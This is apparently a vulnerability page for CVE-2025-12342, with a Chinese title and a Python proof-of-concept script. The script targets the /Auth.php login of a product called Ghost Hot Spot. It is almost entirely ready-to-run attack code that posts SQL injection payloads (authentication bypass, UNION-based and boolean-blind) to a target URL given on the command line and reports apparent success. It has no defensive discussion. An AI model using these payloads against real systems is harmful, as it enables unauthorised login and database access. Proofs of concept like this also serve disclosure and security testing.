CVE-2025-12342 Ghost Hot Spot /Auth.php SQL注入漏洞

import requests import sys # CVE-2025-12342 SQL Injection PoC for Ghost Hot Spot # Target: /Auth.php Login Component target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/Auth.php' # Basic authentication bypass payload bypass_payload = { 'username': "admin' OR '1'='1", 'password': "admin' OR '1'='1" } # Union-based injection to extract database info union_payload = { 'username': "admin' UNION SELECT NULL,NULL,NULL,NULL-- -", 'password': 'test' } # Boolean-based blind injection for data extraction blind_payload = { 'username': "admin' AND (SELECT COUNT(*) FROM users) > 0-- -", 'password': 'test' } def test_sqli(url, payload, description): try: response = requests.post(url, data=payload, timeout=10) print(f"[*] Testing: {description}") print(f"[*] Status Code: {response.status_code}") if 'success' in response.text.lower() or response.status_code == 302: print("[+] Potential vulnerability confirmed!") return True return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("CVE-2025-12342 Ghost Hot Spot SQL Injection PoC") print("=" * 50) test_sqli(target_url, bypass_payload, "Authentication Bypass") test_sqli(target_url, union_payload, "Union-based Injection") test_sqli(target_url, blind_payload, "Boolean-based Blind Injection")